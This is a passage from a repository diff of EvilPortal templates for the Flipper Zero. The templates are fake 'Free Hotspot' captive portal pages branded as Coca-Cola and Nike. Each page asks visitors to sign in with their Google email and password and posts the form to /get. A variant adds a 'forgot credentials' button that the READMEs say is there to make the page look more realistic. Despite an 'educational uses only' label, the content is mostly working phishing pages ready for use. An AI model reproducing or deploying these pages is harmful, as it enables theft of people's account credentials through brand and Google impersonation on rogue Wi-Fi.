-690 23 -108 36 -118 463 -372 l257 -153 0 -639 c0 -422 -4 -656 -11 -691 -41
-197 -197 -345 -434 -410 -68 -19 -107 -22 -260 -22 -178 -1 -181 -1 -275 32
-137 48 -214 94 -300 181 -77 78 -125 156 -152 251 -10 36 -13 658 -15 3111
l-3 3066 -26 24 -26 24 -886 2 c-769 2 -891 0 -914 -12z m7375 -3766 c221 -34
350 -195 349 -438 0 -216 -143 -486 -374 -707 -262 -250 -610 -400 -978 -421
l-105 -6 3 89 c19 640 280 1182 673 1398 81 45 136 64 224 81 90 17 120 17
208 4z"/>
<path d="M5720 13530 c-911 -81 -1669 -868 -1840 -1911 -43 -264 -45 -593 -4
-854 158 -1017 870 -1796 1755 -1920 294 -41 661 -1 894 96 154 64 240 125
495 355 127 114 179 139 290 139 93 -1 148 -19 215 -72 34 -26 113 -125 225
-283 128 -179 286 -258 495 -247 123 6 224 38 390 126 345 181 775 528 1337
1080 l228 224 0 -614 c0 -561 1 -617 17 -639 9 -14 22 -28 27 -32 6 -4 415 -8
909 -8 l898 0 24 25 c24 23 25 29 25 165 0 78 -5 150 -10 161 -16 29 -59 47
-224 95 -119 34 -156 48 -174 69 l-22 26 2 1407 3 1407 24 60 c33 82 125 174
203 203 156 58 281 26 348 -91 24 -42 30 -64 30 -114 0 -52 -6 -71 -35 -125
-67 -120 -85 -166 -94 -234 -30 -244 115 -475 349 -556 122 -43 349 -24 528
42 255 95 484 315 591 566 63 148 76 221 76 419 0 216 -16 289 -100 460 -157
322 -464 534 -834 575 -188 21 -415 -16 -564 -91 -146 -74 -243 -161 -406
-363 -139 -172 -185 -208 -271 -209 -95 -1 -151 50 -270 249 -162 269 -353
384 -693 414 -207 19 -397 -14 -565 -99 -233 -117 -420 -338 -422 -497 0 -58
42 -135 92 -170 37 -26 49 -29 122 -29 79 0 83 1 136 40 51 37 60 40 122 40
76 0 111 -19 140 -76 17 -32 18 -95 18 -891 l0 -856 -82 -74 c-123 -110 -325
-277 -474 -388 -346 -261 -588 -382 -732 -367 -73 8 -153 49 -201 103 -76 86
-71 -4 -71 1355 0 845 3 1225 11 1242 15 34 30 41 204 92 87 25 168 53 180 61
39 25 47 62 43 198 -3 122 -4 126 -31 153 l-27 28 -759 0 -759 0 -26 -24 c-15
-14 -31 -43 -37 -65 -48 -176 -86 -234 -168 -256 -86 -23 -126 -5 -331 144
-263 192 -477 281 -763 321 -137 18 -341 25 -457 15z m790 -1050 c293 -46 565
-245 639 -468 21 -62 21 -72 19 -855 l-3 -793 -38 -77 c-90 -181 -300 -335
-545 -398 -96 -24 -280 -27 -398 -4 -457 87 -772 423 -886 947 -26 121 -36
434 -18 575 55 444 275 794 605 963 190 97 434 140 625 110z"/>
<path d="M34990 13529 c-1100 -91 -1951 -1230 -1870 -2503 57 -897 515 -1651
1220 -2005 279 -141 544 -198 875 -188 399 12 638 94 906 313 51 41 105 82
120 90 39 20 98 17 137 -6 64 -39 64 -33 60 -639 l-4 -546 -26 -96 c-54 -199
-128 -335 -252 -466 -44 -47 -107 -104 -140 -128 -396 -280 -971 -235 -1329
105 -177 168 -280 388 -294 629 -6 85 -9 97 -34 125 l-27 31 -206 0 -206 0
-24 -25 c-21 -21 -27 -40 -36 -115 -19 -169 -78 -331 -190 -519 -394 -662
-1209 -1189 -2238 -1450 -631 -160 -1260 -225 -2052 -213 -875 14 -1699 125
-2731 368 -661 155 -1230 317 -2569 729 -1352 416 -1880 568 -2590 745 -1273
316 -2371 484 -3518 536 -292 13 -1115 7 -1322 -10 -679 -56 -1265 -147 -1920
-296 -1516 -347 -3006 -943 -4285 -1713 -247 -149 -591 -375 -818 -539 -295
-211 -685 -522 -707 -562 -16 -31 -12 -68 12 -95 13 -14 232 -140 488 -279
527 -287 2506 -1368 2945 -1609 249 -137 295 -158 323 -154 27 4 68 38 198
163 448 428 730 673 1109 958 1248 940 2577 1447 4205 1605 480 46 1139 69
1523 52 753 -34 1582 -151 3232 -458 1254 -233 1492 -277 1840 -338 1102 -195
1941 -306 2600 -345 693 -41 1549 -6 2292 94 1863 251 3290 933 4130 1975 72
90 223 307 290 418 l19 32 58 -84 c292 -430 785 -720 1361 -801 431 -61 839 0
1213 180 638 308 1066 903 1141 1587 8 66 11 844 11 2427 0 1721 3 2337 11
2355 15 32 44 45 222 96 204 60 197 51 197 239 l0 149 -31 26 -31 26 -754 -2
-754 -3 -25 -25 c-15 -16 -33 -54 -45 -99 -40 -141 -83 -200 -163 -222 -79
-21 -128 -1 -297 123 -63 47 -141 101 -173 121 -214 137 -464 214 -762 236
-153 12 -175 12 -315 0z m875 -1067 c224 -62 401 -184 512 -355 65 -100 64
-87 61 -958 l-3 -785 -38 -77 c-90 -181 -300 -335 -545 -398 -96 -24 -280 -27
-398 -4 -466 88 -791 446 -890 980 -29 153 -26 522 4 661 102 470 362 787 747
910 176 56 400 67 550 26z"/>
</g>
</svg>
</div>
<div class="form-container">
<center><h1>Sign in with your <b>Google</b> account</h1>
</center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<button class="submit-btn" type="submit">Connect</button>
</form>
</div>
</div>
</body>
</html>

View File

@@ -0,0 +1,6 @@
# !!FOR EDUCATIONAL USES ONLY!!
This one **emulates a portal for a Coca-Cola "Free Hotspot"** using EvilPortal on your Flipper Zero.
The **HTML in the *"WithForgotCredentials"* file** contains a **"forgot credentials" button on the user side to make it look more realistic**. This button only shows a message inviting them to go on their provider's app if they forgot their login/password.
## Happy flippin'

View File

@@ -0,0 +1 @@
Coca-Cola Free WiFi

View File

@@ -0,0 +1,245 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #FFFFFF;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
width: 40px;
height: 40px;
fill: #E71725;
margin-right: 100px
}
.form-container {
background: #FFFFFF;
border: 1px solid #FFFFFF;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #E71725;
margin-bottom: 20px;
}
h2 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #E71725;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 1px solid #E71725;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #E71725;
border: none;
color: #000000;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
display: block;
margin: auto;
margin-top: 20px;
}
.submit-btn:hover {
background: #E71725;
}
.forgot-password {
display: block;
text-align: center;
color: #E71725;
text-decoration: underline;
margin-top: 10px;
}
.error-message {
color: red;
text-align: center;
display: none;
margin-top: 10px;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="240.000000pt" height="80.000000pt" viewBox="0 0 1200.000000 392.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,392.000000) scale(0.100000,-0.100000)"
fill="#E71725" stroke="none">
<path d="M2240 3905 c-234 -48 -533 -193 -787 -383 -782 -587 -1348 -1466
-1443 -2245 -8 -60 -11 -164 -7 -270 4 -142 9 -189 31 -271 67 -256 213 -438
443 -555 152 -76 378 -113 577 -92 200 20 602 106 1071 230 332 87 523 115
780 115 212 0 330 -19 474 -74 146 -57 289 -171 367 -294 16 -25 32 -45 35
-43 4 1 25 25 48 54 75 96 205 171 335 194 88 15 323 6 426 -16 176 -38 410
-134 539 -220 176 -117 -30 107 -265 289 -408 316 -700 418 -1189 418 -338 -1
-536 -33 -1220 -202 -876 -216 -970 -234 -1205 -228 -143 4 -163 7 -254 38
-121 41 -247 114 -303 177 -56 62 -109 164 -135 260 -17 65 -21 106 -21 243 0
142 4 182 27 287 117 533 391 1053 854 1623 117 144 458 482 565 562 275 204
545 285 610 184 22 -34 28 -71 16 -105 -10 -27 -16 -31 -47 -31 -118 -1 -244
-148 -246 -287 -1 -74 22 -113 77 -127 85 -22 182 40 261 167 84 135 116 258
96 370 -15 79 -39 124 -90 171 -69 62 -115 76 -243 75 -62 0 -141 -7 -177 -14z"/>
<path d="M8079 3910 c-241 -28 -610 -202 -916 -432 -297 -224 -661 -596 -905
-926 -252 -341 -483 -737 -594 -1017 -53 -137 -125 -361 -146 -460 -28 -131
-30 -383 -5 -492 80 -347 328 -537 646 -493 171 23 304 84 494 226 346 259
670 726 774 1119 34 127 42 312 18 400 -43 159 -153 220 -328 181 -87 -20
-229 -86 -302 -141 -256 -192 -435 -525 -504 -935 -11 -63 -18 -116 -16 -118
2 -2 42 35 90 81 100 99 209 182 331 252 l86 50 18 70 c57 225 206 461 332
526 52 27 119 25 145 -4 28 -30 35 -57 34 -133 -3 -407 -427 -1041 -822 -1229
-144 -68 -262 -57 -363 36 -128 117 -153 278 -92 579 75 367 227 712 519 1173
277 436 769 997 1079 1228 146 109 308 208 411 252 76 32 199 48 231 30 14 -8
6 -17 -51 -53 -183 -119 -409 -334 -536 -511 -83 -115 -199 -346 -228 -454
-16 -58 -20 -97 -17 -145 17 -228 189 -283 435 -139 32 19 108 84 169 144 275
274 462 671 466 987 l1 98 35 11 c48 16 169 5 257 -22 194 -59 306 -119 685
-364 129 -84 262 -167 294 -185 l59 -34 30 35 c16 19 83 91 148 161 l119 126
-158 95 c-86 52 -229 134 -317 182 -350 193 -466 234 -695 242 -159 6 -258 -9
-420 -64 l-105 -35 -54 36 c-86 58 -200 81 -332 66z m317 -432 c-49 -314 -199
-598 -434 -820 -82 -77 -180 -146 -236 -165 -48 -17 -99 -3 -123 33 -25 38
-13 142 27 237 126 301 420 640 706 812 36 22 61 32 67 26 6 -6 4 -52 -7 -123z"/>
<path d="M11949 3874 c-160 -167 -416 -352 -634 -460 -236 -117 -425 -164
-659 -164 l-128 0 -42 -47 c-71 -81 -226 -274 -226 -283 0 -23 189 -44 313
-36 189 12 346 56 542 151 263 127 473 296 671 540 83 102 224 328 212 340 -2
2 -24 -16 -49 -41z"/>
<path d="M10913 3865 c-293 -79 -876 -618 -1325 -1225 -247 -334 -499 -751
-717 -1188 -84 -167 -95 -185 -127 -198 -42 -18 -142 -39 -149 -32 -3 3 11 43
31 89 80 185 114 316 114 438 0 387 -397 371 -817 -32 -436 -420 -755 -1067
-693 -1406 31 -172 139 -250 303 -221 177 31 437 227 641 480 76 96 241 339
301 447 l40 72 55 6 c30 3 76 9 101 14 l45 7 -68 -209 c-81 -249 -109 -375
-109 -500 0 -118 19 -181 72 -241 56 -64 90 -80 171 -80 58 0 77 5 150 41 113
57 242 170 358 314 14 17 15 10 15 -79 1 -79 5 -106 23 -147 28 -61 46 -82 97
-108 64 -33 153 -29 239 11 87 41 181 107 271 194 l72 67 -5 -54 c-13 -158 78
-261 215 -240 60 9 209 85 301 155 121 91 304 289 455 493 70 94 227 332 227
344 0 9 -18 13 -65 13 l-64 0 -83 -122 c-156 -231 -297 -390 -421 -473 -56
-38 -78 -43 -97 -20 -9 11 -9 22 0 52 20 62 86 188 185 353 51 85 211 364 355
620 144 256 264 468 267 473 2 4 -86 7 -196 7 l-200 0 -22 -40 c-13 -22 -25
-40 -28 -40 -3 0 -21 20 -39 44 -39 52 -83 76 -155 83 -138 14 -312 -80 -530
-287 -192 -182 -364 -408 -646 -849 -158 -248 -274 -389 -355 -431 -38 -21
-48 -22 -71 -12 -38 17 -59 74 -51 142 13 123 87 361 180 572 l53 123 144 109
c299 225 583 487 858 791 226 251 465 546 507 627 l15 29 -68 -7 c-77 -7 -56
13 -221 -194 -288 -360 -760 -838 -1017 -1029 -38 -29 -71 -47 -73 -42 -12 36
384 710 626 1066 235 346 412 563 648 796 174 170 258 240 331 273 64 28 77
18 70 -54 -4 -46 -19 -90 -66 -187 -34 -69 -59 -128 -57 -131 3 -2 36 3 74 13
l69 17 41 86 c95 199 93 378 -3 418 -43 17 -114 17 -182 -1z m-2362 -2025 c62
-34 71 -177 20 -330 -45 -133 -108 -260 -129 -260 -28 0 -116 56 -152 96 -110
126 -98 292 31 408 87 78 179 113 230 86z m2181 -37 c10 -9 18 -23 18 -31 0
-8 -51 -103 -114 -211 -62 -108 -160 -277 -216 -376 -231 -405 -408 -645 -517
-703 -31 -17 -79 -15 -99 5 -35 35 -2 191 77 358 65 138 270 462 383 605 131
165 276 308 359 352 41 22 85 23 109 1z m-2558 -539 c34 -33 94 -80 134 -104
54 -32 71 -47 67 -59 -3 -8 -34 -62 -67 -118 -174 -291 -396 -513 -514 -513
-38 0 -77 29 -94 70 -49 119 81 444 309 768 l65 93 19 -38 c11 -21 47 -65 81
-99z"/>
<path d="M2440 2965 c-80 -22 -208 -89 -308 -159 -112 -78 -355 -320 -461
-459 -292 -381 -449 -799 -402 -1071 29 -163 115 -245 259 -246 154 0 351 116
566 334 174 176 284 325 452 608 l69 117 82 20 c45 12 84 21 86 21 2 0 -31
-69 -73 -153 -137 -275 -177 -437 -151 -618 16 -111 51 -187 112 -244 77 -72
124 -88 249 -83 209 8 360 91 635 347 71 66 131 119 132 117 2 -2 -4 -34 -13
-72 -23 -98 -21 -220 4 -276 36 -83 119 -124 231 -115 111 8 234 77 369 205
l72 70 0 -74 c0 -88 21 -139 72 -176 28 -19 45 -23 109 -23 66 0 84 4 150 37
146 72 374 279 555 504 119 147 304 402 304 418 0 4 -31 6 -69 6 l-69 0 -70
-94 c-216 -287 -422 -485 -494 -474 -18 2 -24 10 -26 38 -2 30 52 129 398 730
221 382 406 703 411 713 9 16 -3 17 -188 17 l-198 0 -18 -31 -18 -32 -37 38
c-47 47 -81 65 -141 72 -235 28 -598 -279 -1001 -844 -279 -390 -485 -621
-659 -735 -109 -71 -201 -94 -259 -64 -109 57 -122 205 -37 421 133 339 342
659 572 874 150 141 260 185 318 126 38 -37 32 -105 -9 -105 -54 0 -103 -24
-152 -74 -67 -68 -94 -127 -94 -200 0 -50 4 -61 29 -87 33 -33 79 -38 134 -16
81 34 197 205 232 342 77 304 -184 461 -503 301 -107 -54 -225 -147 -397 -316
-176 -172 -294 -265 -400 -316 -61 -30 -95 -41 -95 -31 0 2 18 50 39 108 53
141 74 250 69 358 -3 74 -9 95 -35 142 -44 79 -100 111 -201 116 -48 2 -98 -3
-132 -12z m164 -186 c35 -16 60 -79 59 -152 -1 -79 -24 -167 -76 -290 l-42
-97 -40 6 c-22 4 -61 17 -86 30 -166 83 -195 228 -78 380 83 108 188 157 263
123z m2496 -19 c24 -24 34 -2 -111 -257 -185 -324 -411 -707 -473 -798 -108
-159 -253 -295 -316 -295 -37 0 -64 33 -63 77 3 92 114 344 243 552 70 111
276 389 388 524 155 185 273 256 332 197z m-2885 -506 c55 -55 133 -102 233
-140 22 -9 20 -13 -63 -149 -48 -77 -117 -181 -155 -231 -81 -106 -217 -239
-284 -279 -94 -55 -173 -31 -197 58 -34 128 94 438 315 760 60 88 61 89 75 65
8 -12 42 -50 76 -84z"/>
<path d="M5805 2798 c-44 -72 -90 -149 -103 -170 l-23 -38 188 0 188 1 80 131
c44 72 90 149 103 170 l23 38 -188 0 -188 -1 -80 -131z"/>
</g>
</svg>
</div>
<div class="form-container">
<center><h1>Sign in with your <b><font color="#4285F4">G</font><font color="#EA4335">o</font><font color="#FBBC05">o</font><font color="#4285F4">g</font><font color="#34A853">l</font><font color="#EA4335">e</font>
</b> account</h1>
</center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<a href="javascript:void(0);" class="forgot-password">Forgot credentials?</a>
<button class="submit-btn" type="submit"><b>Connect</b></button>
<div class="error-message"></div>
</form>
</div>
</div>
<script>
document.querySelector('.forgot-password').addEventListener('click', function() {
var errorMessage = document.querySelector('.error-message');
errorMessage.innerHTML = "Please refer to your Google account if you forgot your credentials";
errorMessage.style.display = 'block';
});
</script>
</body>
</html>

View File

@@ -0,0 +1 @@
Coca-Cola Free WiFi

220
Brands/Coca-Cola/index.html Normal file
View File

@@ -0,0 +1,220 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #FFFFFF;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
width: 40px;
height: 40px;
fill: #E71725;
margin-right: 100px
}
.form-container {
background: #FFFFFF;
border: 1px solid #FFFFFF;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #E71725;
margin-bottom: 20px;
}
h2 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #E71725;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 1px solid #E71725;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #E71725;
border: none;
color: #000000;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
display: block;
margin: auto;
margin-top: 20px;
}
.submit-btn:hover {
background: #E71725;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="240.000000pt" height="80.000000pt" viewBox="0 0 1200.000000 392.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,392.000000) scale(0.100000,-0.100000)"
fill="#E71725" stroke="none">
<path d="M2240 3905 c-234 -48 -533 -193 -787 -383 -782 -587 -1348 -1466
-1443 -2245 -8 -60 -11 -164 -7 -270 4 -142 9 -189 31 -271 67 -256 213 -438
443 -555 152 -76 378 -113 577 -92 200 20 602 106 1071 230 332 87 523 115
780 115 212 0 330 -19 474 -74 146 -57 289 -171 367 -294 16 -25 32 -45 35
-43 4 1 25 25 48 54 75 96 205 171 335 194 88 15 323 6 426 -16 176 -38 410
-134 539 -220 176 -117 -30 107 -265 289 -408 316 -700 418 -1189 418 -338 -1
-536 -33 -1220 -202 -876 -216 -970 -234 -1205 -228 -143 4 -163 7 -254 38
-121 41 -247 114 -303 177 -56 62 -109 164 -135 260 -17 65 -21 106 -21 243 0
142 4 182 27 287 117 533 391 1053 854 1623 117 144 458 482 565 562 275 204
545 285 610 184 22 -34 28 -71 16 -105 -10 -27 -16 -31 -47 -31 -118 -1 -244
-148 -246 -287 -1 -74 22 -113 77 -127 85 -22 182 40 261 167 84 135 116 258
96 370 -15 79 -39 124 -90 171 -69 62 -115 76 -243 75 -62 0 -141 -7 -177 -14z"/>
<path d="M8079 3910 c-241 -28 -610 -202 -916 -432 -297 -224 -661 -596 -905
-926 -252 -341 -483 -737 -594 -1017 -53 -137 -125 -361 -146 -460 -28 -131
-30 -383 -5 -492 80 -347 328 -537 646 -493 171 23 304 84 494 226 346 259
670 726 774 1119 34 127 42 312 18 400 -43 159 -153 220 -328 181 -87 -20
-229 -86 -302 -141 -256 -192 -435 -525 -504 -935 -11 -63 -18 -116 -16 -118
2 -2 42 35 90 81 100 99 209 182 331 252 l86 50 18 70 c57 225 206 461 332
526 52 27 119 25 145 -4 28 -30 35 -57 34 -133 -3 -407 -427 -1041 -822 -1229
-144 -68 -262 -57 -363 36 -128 117 -153 278 -92 579 75 367 227 712 519 1173
277 436 769 997 1079 1228 146 109 308 208 411 252 76 32 199 48 231 30 14 -8
6 -17 -51 -53 -183 -119 -409 -334 -536 -511 -83 -115 -199 -346 -228 -454
-16 -58 -20 -97 -17 -145 17 -228 189 -283 435 -139 32 19 108 84 169 144 275
274 462 671 466 987 l1 98 35 11 c48 16 169 5 257 -22 194 -59 306 -119 685
-364 129 -84 262 -167 294 -185 l59 -34 30 35 c16 19 83 91 148 161 l119 126
-158 95 c-86 52 -229 134 -317 182 -350 193 -466 234 -695 242 -159 6 -258 -9
-420 -64 l-105 -35 -54 36 c-86 58 -200 81 -332 66z m317 -432 c-49 -314 -199
-598 -434 -820 -82 -77 -180 -146 -236 -165 -48 -17 -99 -3 -123 33 -25 38
-13 142 27 237 126 301 420 640 706 812 36 22 61 32 67 26 6 -6 4 -52 -7 -123z"/>
<path d="M11949 3874 c-160 -167 -416 -352 -634 -460 -236 -117 -425 -164
-659 -164 l-128 0 -42 -47 c-71 -81 -226 -274 -226 -283 0 -23 189 -44 313
-36 189 12 346 56 542 151 263 127 473 296 671 540 83 102 224 328 212 340 -2
2 -24 -16 -49 -41z"/>
<path d="M10913 3865 c-293 -79 -876 -618 -1325 -1225 -247 -334 -499 -751
-717 -1188 -84 -167 -95 -185 -127 -198 -42 -18 -142 -39 -149 -32 -3 3 11 43
31 89 80 185 114 316 114 438 0 387 -397 371 -817 -32 -436 -420 -755 -1067
-693 -1406 31 -172 139 -250 303 -221 177 31 437 227 641 480 76 96 241 339
301 447 l40 72 55 6 c30 3 76 9 101 14 l45 7 -68 -209 c-81 -249 -109 -375
-109 -500 0 -118 19 -181 72 -241 56 -64 90 -80 171 -80 58 0 77 5 150 41 113
57 242 170 358 314 14 17 15 10 15 -79 1 -79 5 -106 23 -147 28 -61 46 -82 97
-108 64 -33 153 -29 239 11 87 41 181 107 271 194 l72 67 -5 -54 c-13 -158 78
-261 215 -240 60 9 209 85 301 155 121 91 304 289 455 493 70 94 227 332 227
344 0 9 -18 13 -65 13 l-64 0 -83 -122 c-156 -231 -297 -390 -421 -473 -56
-38 -78 -43 -97 -20 -9 11 -9 22 0 52 20 62 86 188 185 353 51 85 211 364 355
620 144 256 264 468 267 473 2 4 -86 7 -196 7 l-200 0 -22 -40 c-13 -22 -25
-40 -28 -40 -3 0 -21 20 -39 44 -39 52 -83 76 -155 83 -138 14 -312 -80 -530
-287 -192 -182 -364 -408 -646 -849 -158 -248 -274 -389 -355 -431 -38 -21
-48 -22 -71 -12 -38 17 -59 74 -51 142 13 123 87 361 180 572 l53 123 144 109
c299 225 583 487 858 791 226 251 465 546 507 627 l15 29 -68 -7 c-77 -7 -56
13 -221 -194 -288 -360 -760 -838 -1017 -1029 -38 -29 -71 -47 -73 -42 -12 36
384 710 626 1066 235 346 412 563 648 796 174 170 258 240 331 273 64 28 77
18 70 -54 -4 -46 -19 -90 -66 -187 -34 -69 -59 -128 -57 -131 3 -2 36 3 74 13
l69 17 41 86 c95 199 93 378 -3 418 -43 17 -114 17 -182 -1z m-2362 -2025 c62
-34 71 -177 20 -330 -45 -133 -108 -260 -129 -260 -28 0 -116 56 -152 96 -110
126 -98 292 31 408 87 78 179 113 230 86z m2181 -37 c10 -9 18 -23 18 -31 0
-8 -51 -103 -114 -211 -62 -108 -160 -277 -216 -376 -231 -405 -408 -645 -517
-703 -31 -17 -79 -15 -99 5 -35 35 -2 191 77 358 65 138 270 462 383 605 131
165 276 308 359 352 41 22 85 23 109 1z m-2558 -539 c34 -33 94 -80 134 -104
54 -32 71 -47 67 -59 -3 -8 -34 -62 -67 -118 -174 -291 -396 -513 -514 -513
-38 0 -77 29 -94 70 -49 119 81 444 309 768 l65 93 19 -38 c11 -21 47 -65 81
-99z"/>
<path d="M2440 2965 c-80 -22 -208 -89 -308 -159 -112 -78 -355 -320 -461
-459 -292 -381 -449 -799 -402 -1071 29 -163 115 -245 259 -246 154 0 351 116
566 334 174 176 284 325 452 608 l69 117 82 20 c45 12 84 21 86 21 2 0 -31
-69 -73 -153 -137 -275 -177 -437 -151 -618 16 -111 51 -187 112 -244 77 -72
124 -88 249 -83 209 8 360 91 635 347 71 66 131 119 132 117 2 -2 -4 -34 -13
-72 -23 -98 -21 -220 4 -276 36 -83 119 -124 231 -115 111 8 234 77 369 205
l72 70 0 -74 c0 -88 21 -139 72 -176 28 -19 45 -23 109 -23 66 0 84 4 150 37
146 72 374 279 555 504 119 147 304 402 304 418 0 4 -31 6 -69 6 l-69 0 -70
-94 c-216 -287 -422 -485 -494 -474 -18 2 -24 10 -26 38 -2 30 52 129 398 730
221 382 406 703 411 713 9 16 -3 17 -188 17 l-198 0 -18 -31 -18 -32 -37 38
c-47 47 -81 65 -141 72 -235 28 -598 -279 -1001 -844 -279 -390 -485 -621
-659 -735 -109 -71 -201 -94 -259 -64 -109 57 -122 205 -37 421 133 339 342
659 572 874 150 141 260 185 318 126 38 -37 32 -105 -9 -105 -54 0 -103 -24
-152 -74 -67 -68 -94 -127 -94 -200 0 -50 4 -61 29 -87 33 -33 79 -38 134 -16
81 34 197 205 232 342 77 304 -184 461 -503 301 -107 -54 -225 -147 -397 -316
-176 -172 -294 -265 -400 -316 -61 -30 -95 -41 -95 -31 0 2 18 50 39 108 53
141 74 250 69 358 -3 74 -9 95 -35 142 -44 79 -100 111 -201 116 -48 2 -98 -3
-132 -12z m164 -186 c35 -16 60 -79 59 -152 -1 -79 -24 -167 -76 -290 l-42
-97 -40 6 c-22 4 -61 17 -86 30 -166 83 -195 228 -78 380 83 108 188 157 263
123z m2496 -19 c24 -24 34 -2 -111 -257 -185 -324 -411 -707 -473 -798 -108
-159 -253 -295 -316 -295 -37 0 -64 33 -63 77 3 92 114 344 243 552 70 111
276 389 388 524 155 185 273 256 332 197z m-2885 -506 c55 -55 133 -102 233
-140 22 -9 20 -13 -63 -149 -48 -77 -117 -181 -155 -231 -81 -106 -217 -239
-284 -279 -94 -55 -173 -31 -197 58 -34 128 94 438 315 760 60 88 61 89 75 65
8 -12 42 -50 76 -84z"/>
<path d="M5805 2798 c-44 -72 -90 -149 -103 -170 l-23 -38 188 0 188 1 80 131
c44 72 90 149 103 170 l23 38 -188 0 -188 -1 -80 -131z"/>
</g>
</svg>
</div>
<div class="form-container">
<center><h1>Sign in with your <b><font color="#4285F4">G</font><font color="#EA4335">o</font><font color="#FBBC05">o</font><font color="#4285F4">g</font><font color="#34A853">l</font><font color="#EA4335">e</font>
</b> account</h1>
</center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<button class="submit-btn" type="submit"><b>Connect</b></button>
</form>
</div>
</div>
</body>
</html>

6
Brands/Nike/README.md Normal file
View File

@@ -0,0 +1,6 @@
# !!FOR EDUCATIONAL USES ONLY!!
This one **emulates a portal for a Nike "Free Hotspot"** using EvilPortal on your Flipper Zero.
The **HTML in the *"WithForgotCredentials"* file** contains a **"forgot credentials" button on the user side to make it look more realistic**. This button only shows a message inviting them to go on their provider's app if they forgot their login/password.
## Happy flippin'

View File

@@ -0,0 +1 @@
Just do it

View File

@@ -0,0 +1,159 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #FFFFFF;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
width: 40px;
height: 40px;
fill: #000000;
margin-right: 100px
}
.form-container {
background: #FFFFFF;
border: 1px solid #FFFFFF;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
h2 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 1px solid #000000;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #000000;
border: none;
color: #FFFFFF;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
display: block;
margin: auto;
margin-top: 20px;
}
.submit-btn:hover {
background: #000000;
}
.forgot-password {
display: block;
text-align: center;
color: #000000;
text-decoration: underline;
margin-top: 10px;
}
.error-message {
color: red;
text-align: center;
display: none;
margin-top: 10px;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="368.000000pt" height="137.000000pt" viewBox="0 0 368.000000 137.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,137.000000) scale(0.100000,-0.100000)"
fill="#000000" stroke="none">
<path d="M553 1139 c-101 -116 -183 -223 -231 -303 -88 -144 -139 -319 -126
-430 13 -122 99 -231 214 -272 115 -41 305 -26 499 39 83 28 2543 1059 2538
1063 -1 1 -528 -137 -1172 -307 -643 -170 -1202 -316 -1242 -324 -94 -20 -235
-19 -302 1 -69 20 -141 86 -171 156 -19 45 -22 65 -18 147 5 101 19 153 72
264 18 37 31 67 30 67 -2 0 -42 -45 -91 -101z"/>
</g>
</svg>
</div>
<div class="form-container">
<center><h1>Sign in with your Google account</h1>
</center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email or mobile phone number" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<a href="javascript:void(0);" class="forgot-password">Forgot credentials?</a>
<button class="submit-btn" type="submit">Connect</button>
<div class="error-message"></div>
</form>
</div>
</div>
<script>
document.querySelector('.forgot-password').addEventListener('click', function() {
var errorMessage = document.querySelector('.error-message');
errorMessage.innerHTML = "Please refer to your Google account if you forgot your credentials";
errorMessage.style.display = 'block';
});
</script>
</body>
</html>

View File

@@ -0,0 +1 @@
Just do it

135
Brands/Nike/index.html Normal file
View File

@@ -0,0 +1,135 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #FFFFFF;
}
.container {
